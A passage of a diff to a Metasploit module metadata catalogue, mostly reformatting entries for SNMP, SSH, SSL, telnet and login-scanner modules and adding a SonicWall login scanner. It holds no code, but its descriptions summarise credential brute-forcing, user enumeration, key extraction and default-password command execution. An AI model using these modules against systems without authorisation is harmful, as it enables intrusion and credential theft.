+49530,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/netopia_enum": { "name": "Netopia 3347 Cable Modem Wifi Enumeration", "fullname": "auxiliary/scanner/snmp/netopia_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57249,39 +49547,30 @@ ], "description": "This module extracts WEP keys and WPA preshared keys from\n certain Netopia cable modems.", "references": [ - "URL-https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" + "URL-http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" ], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/snmp/netopia_enum.rb", "is_install_path": true, "ref_name": "scanner/snmp/netopia_enum", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/sbg6580_enum": { "name": "ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module", "fullname": "auxiliary/scanner/snmp/sbg6580_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57297,12 +49586,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/snmp/sbg6580_enum.rb", @@ -57311,20 +49596,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_enum": { "name": "SNMP Enumeration Module", "fullname": "auxiliary/scanner/snmp/snmp_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57343,12 +49623,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-12-06 16:52:10 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb", @@ -57357,20 +49633,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_enum_hp_laserjet": { "name": "HP LaserJet Printer SNMP Enumeration", "fullname": "auxiliary/scanner/snmp/snmp_enum_hp_laserjet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57388,12 +49659,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb", @@ -57402,20 +49669,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_enumshares": { "name": "SNMP Windows SMB Share Enumeration", "fullname": "auxiliary/scanner/snmp/snmp_enumshares", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57423,18 +49685,12 @@ "tebo " ], "description": "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-11-01 14:22:49 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb", @@ -57443,20 +49699,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_enumusers": { "name": "SNMP Windows Username Enumeration", "fullname": "auxiliary/scanner/snmp/snmp_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57464,18 +49715,12 @@ "tebo " ], "description": "This module will use LanManager/psProcessUsername OID values to\n enumerate local user accounts on a Windows/Solaris system via SNMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-11-01 14:22:49 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb", @@ -57484,20 +49729,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_login": { "name": "SNMP Community Login Scanner", "fullname": "auxiliary/scanner/snmp/snmp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57513,12 +49753,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_login.rb", @@ -57527,20 +49763,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/snmp_set": { "name": "SNMP Set Module", "fullname": "auxiliary/scanner/snmp/snmp_set", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57556,12 +49787,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_set.rb", @@ -57570,20 +49797,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/ubee_ddw3611": { "name": "Ubee DDW3611b Cable Modem Wifi Enumeration", "fullname": "auxiliary/scanner/snmp/ubee_ddw3611", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57592,39 +49814,30 @@ ], "description": "This module will extract WEP keys and WPA preshared keys from\n certain Ubee cable modems.", "references": [ - "URL-https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" + "URL-http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/" ], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb", "is_install_path": true, "ref_name": "scanner/snmp/ubee_ddw3611", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/snmp/xerox_workcentre_enumusers": { "name": "Xerox WorkCentre User Enumeration (SNMP)", "fullname": "auxiliary/scanner/snmp/xerox_workcentre_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57632,18 +49845,12 @@ "pello " ], "description": "This module will do user enumeration based on the Xerox WorkCentre present on the network.\n SNMP is used to extract the usernames.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb", @@ -57652,20 +49859,67 @@ "check": false, "post_auth": false, "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "actions": [] + }, + "auxiliary_scanner/sonicwall/login_scanner": { + "name": "SonicWall HTTP Login Scanner", + "fullname": "auxiliary/scanner/sonicwall/login_scanner", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "msutovsky-r7" + ], + "description": "This module adds HTTP Login scanning for SonicWall NSv. It allows scanning both admin and user accounts.", + "references": [], + "platform": "", + "arch": "", + "rport": 4433, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2025-03-04 08:19:49 +0000", + "path": "/modules/auxiliary/scanner/sonicwall/login_scanner.rb", + "is_install_path": true, + "ref_name": "scanner/sonicwall/login_scanner", + "check": false, + "post_auth": true, + "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs", + "account-lockouts" + ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/apache_karaf_command_execution": { "name": "Apache Karaf Default Credentials Command Execution", "fullname": "auxiliary/scanner/ssh/apache_karaf_command_execution", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-02-09", "type": "auxiliary", @@ -57673,18 +49927,12 @@ "Nicholas Starke " ], "description": "This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.\n The 'karaf' user has a known default password, which can be used to login to the\n SSH service, and execute operating system commands from remote.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": 8101, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-04-13 18:55:17 +0000", "path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb", @@ -57693,20 +49941,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/cerberus_sftp_enumusers": { "name": "Cerberus FTP Server SFTP Username Enumeration", "fullname": "auxiliary/scanner/ssh/cerberus_sftp_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-27", "type": "auxiliary", @@ -57722,12 +49965,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb", @@ -57736,20 +49975,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/detect_kippo": { "name": "Kippo SSH Honeypot Detector", "fullname": "auxiliary/scanner/ssh/detect_kippo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57764,12 +49998,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-03-26 15:43:10 +0000", "path": "/modules/auxiliary/scanner/ssh/detect_kippo.rb", @@ -57778,20 +50008,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/eaton_xpert_backdoor": { "name": "Eaton Xpert Meter SSH Private Key Exposure Scanner", "fullname": "auxiliary/scanner/ssh/eaton_xpert_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-07-18", "type": "auxiliary", @@ -57808,12 +50033,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb", @@ -57822,20 +50043,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/fortinet_backdoor": { "name": "Fortinet SSH Backdoor Scanner", "fullname": "auxiliary/scanner/ssh/fortinet_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-01-09", "type": "auxiliary", @@ -57854,12 +50070,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb", @@ -57868,20 +50080,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/juniper_backdoor": { "name": "Juniper SSH Backdoor Scanner", "fullname": "auxiliary/scanner/ssh/juniper_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-20", "type": "auxiliary", @@ -57898,12 +50105,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-04-14 17:27:19 +0000", "path": "/modules/auxiliary/scanner/ssh/juniper_backdoor.rb", @@ -57912,20 +50115,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/karaf_login": { "name": "Apache Karaf Login Utility", "fullname": "auxiliary/scanner/ssh/karaf_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -57937,18 +50135,12 @@ "Dev Mohanty" ], "description": "This module attempts to log into Apache Karaf's SSH. If the TRYDEFAULTCRED option is\n set, then it will also try the default 'karaf' credential.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8101, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/ssh/karaf_login.rb", @@ -57957,20 +50149,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/libssh_auth_bypass": { "name": "libssh Authentication Bypass Scanner", "fullname": "auxiliary/scanner/ssh/libssh_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-16", "type": "auxiliary", @@ -57986,12 +50173,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb", @@ -58000,8 +50183,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -58018,9 +50200,7 @@ "auxiliary_scanner/ssh/ssh_enum_git_keys": { "name": "Test SSH Github Access", "fullname": "auxiliary/scanner/ssh/ssh_enum_git_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58034,12 +50214,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.rb", @@ -58048,20 +50224,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/ssh_enumusers": { "name": "SSH Username Enumeration", "fullname": "auxiliary/scanner/ssh/ssh_enumusers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58086,12 +50257,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-03-13 10:31:27 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_enumusers.rb", @@ -58104,9 +50271,7 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "account-lockouts" @@ -58128,9 +50293,7 @@ "auxiliary_scanner/ssh/ssh_identify_pubkeys": { "name": "SSH Public Key Acceptance Scanner", "fullname": "auxiliary/scanner/ssh/ssh_identify_pubkeys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58140,18 +50303,12 @@ "Stuart Morgan " ], "description": "This module can determine what public keys are configured for\n key-based authentication across a range of machines, users, and\n sets of known keys. The SSH protocol indicates whether a particular\n key is accepted prior to the client performing the actual signed\n authentication request. To use this module, a text file containing\n one or more SSH keys should be provided. These can be private or\n public, so long as no passphrase is set on the private keys.\n\n If you have loaded a database plugin and connected to a database\n this module will record authorized public keys and hosts so you can\n track your process.\n\n Key files may be a single public (unencrypted) key, or several public\n keys concatenated together as an ASCII text file. Non-key data should be\n silently ignored. Private keys will only utilize the public key component\n stored within the key file.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-12-13 17:00:19 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb", @@ -58160,20 +50317,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/ssh_login": { "name": "SSH Login Check Scanner", "fullname": "auxiliary/scanner/ssh/ssh_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58187,12 +50339,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-21 11:00:24 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login.rb", @@ -58201,20 +50349,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/ssh_login_pubkey": { "name": "SSH Public Key Login Scanner", "fullname": "auxiliary/scanner/ssh/ssh_login_pubkey", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58223,18 +50366,12 @@ "RageLtMan" ], "description": "This module will test ssh logins on a range of machines using\n a defined private key file, and report successful logins.\n If you have loaded a database plugin and connected to a database\n this module will record successful logins and hosts so you can\n track your access.\n\n Key files may be a single private key, or several private keys in a single\n directory. Only a single passphrase is supported however, so it must either\n be shared between subject keys or only belong to a single one.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-06-03 11:02:15 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb", @@ -58243,20 +50380,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssh/ssh_version": { "name": "SSH Version Scanner", "fullname": "auxiliary/scanner/ssh/ssh_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58276,12 +50408,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-03-05 17:18:24 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_version.rb", @@ -58290,20 +50418,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssl/bleichenbacher_oracle": { "name": "Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5", "fullname": "auxiliary/scanner/ssl/bleichenbacher_oracle", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-06-17", "type": "auxiliary", @@ -58333,12 +50456,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-08-27 16:06:07 +0000", "path": "/modules/auxiliary/scanner/ssl/bleichenbacher_oracle.py", @@ -58355,16 +50474,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssl/openssl_ccs": { "name": "OpenSSL Server-Side ChangeCipherSpec Injection Scanner", "fullname": "auxiliary/scanner/ssl/openssl_ccs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-05", "type": "auxiliary", @@ -58384,12 +50499,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ssl/openssl_ccs.rb", @@ -58398,20 +50509,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ssl/openssl_heartbleed": { "name": "OpenSSL Heartbeat (Heartbleed) Information Leak", "fullname": "auxiliary/scanner/ssl/openssl_heartbleed", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-07", "type": "auxiliary", @@ -58444,12 +50550,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb", @@ -58501,7 +50603,7 @@ "references": [ "URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html", "CVE-2014-3566", - "URL-https://www.openssl.org/~bodo/ssl-poodle.pdf", + "URL-http://web.archive.org/web/20240319071045/https://www.openssl.org/~bodo/ssl-poodle.pdf", "URL-https://datatracker.ietf.org/doc/rfc8996/", "URL-https://datatracker.ietf.org/doc/html/rfc6176", "URL-https://datatracker.ietf.org/doc/html/rfc7568", @@ -58510,7 +50612,7 @@ "URL-https://drownattack.com/", "CVE-2016-0800", "CVE-2011-3389", - "URL-http://www.isg.rhul.ac.uk/tls/", + "URL-http://web.archive.org/web/20240607160328/https://www.isg.rhul.ac.uk/tls/", "CVE-2013-2566", "CVE-2015-4000", "CVE-2022-3358", @@ -58522,34 +50624,25 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/ssl/ssl_version.rb", "is_install_path": true, "ref_name": "scanner/ssl/ssl_version", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/steam/server_info": { "name": "Gather Steam Server Information", "fullname": "auxiliary/scanner/steam/server_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58563,12 +50656,8 @@ "platform": "", "arch": "", "rport": 27015, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/scanner/steam/server_info.rb", @@ -58577,20 +50666,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/teamcity/teamcity_login": { "name": "JetBrains TeamCity Login Scanner", "fullname": "auxiliary/scanner/teamcity/teamcity_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58599,9 +50683,7 @@ "sjanusz-r7" ], "description": "This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8111, @@ -58632,9 +50714,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "account-lockouts" @@ -58642,16 +50722,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telephony/wardial": { "name": "Wardialer", "fullname": "auxiliary/scanner/telephony/wardial", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58659,18 +50735,12 @@ "I)ruid " ], "description": "Scan for dial-up systems that are connected to modems and answer telephony indials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-07-25 14:51:37 +0000", "path": "/modules/auxiliary/scanner/telephony/wardial.rb", @@ -58679,20 +50749,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/brocade_enable_login": { "name": "Brocade Enable Login Check Scanner", "fullname": "auxiliary/scanner/telnet/brocade_enable_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58720,20 +50785,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/lantronix_telnet_password": { "name": "Lantronix Telnet Password Recovery", "fullname": "auxiliary/scanner/telnet/lantronix_telnet_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58741,18 +50801,12 @@ "jgor" ], "description": "This module retrieves the setup record from Lantronix serial-to-ethernet\n devices via the config port (30718/udp, enabled by default) and extracts the\n telnet password. It has been tested successfully on a Lantronix Device Server\n with software version V5.8.0.1.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 30718, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb", @@ -58761,20 +50815,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/lantronix_telnet_version": { "name": "Lantronix Telnet Service Banner Detection", "fullname": "auxiliary/scanner/telnet/lantronix_telnet_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -58783,9 +50832,7 @@ "hdm " ], "description": "Detect Lantronix telnet services", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 9999, @@ -58803,20 +50850,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/telnet/satel_cmd_exec": { "name": "Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability", "fullname": "auxiliary/scanner/telnet/satel_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-07", "type": "auxiliary", @@ 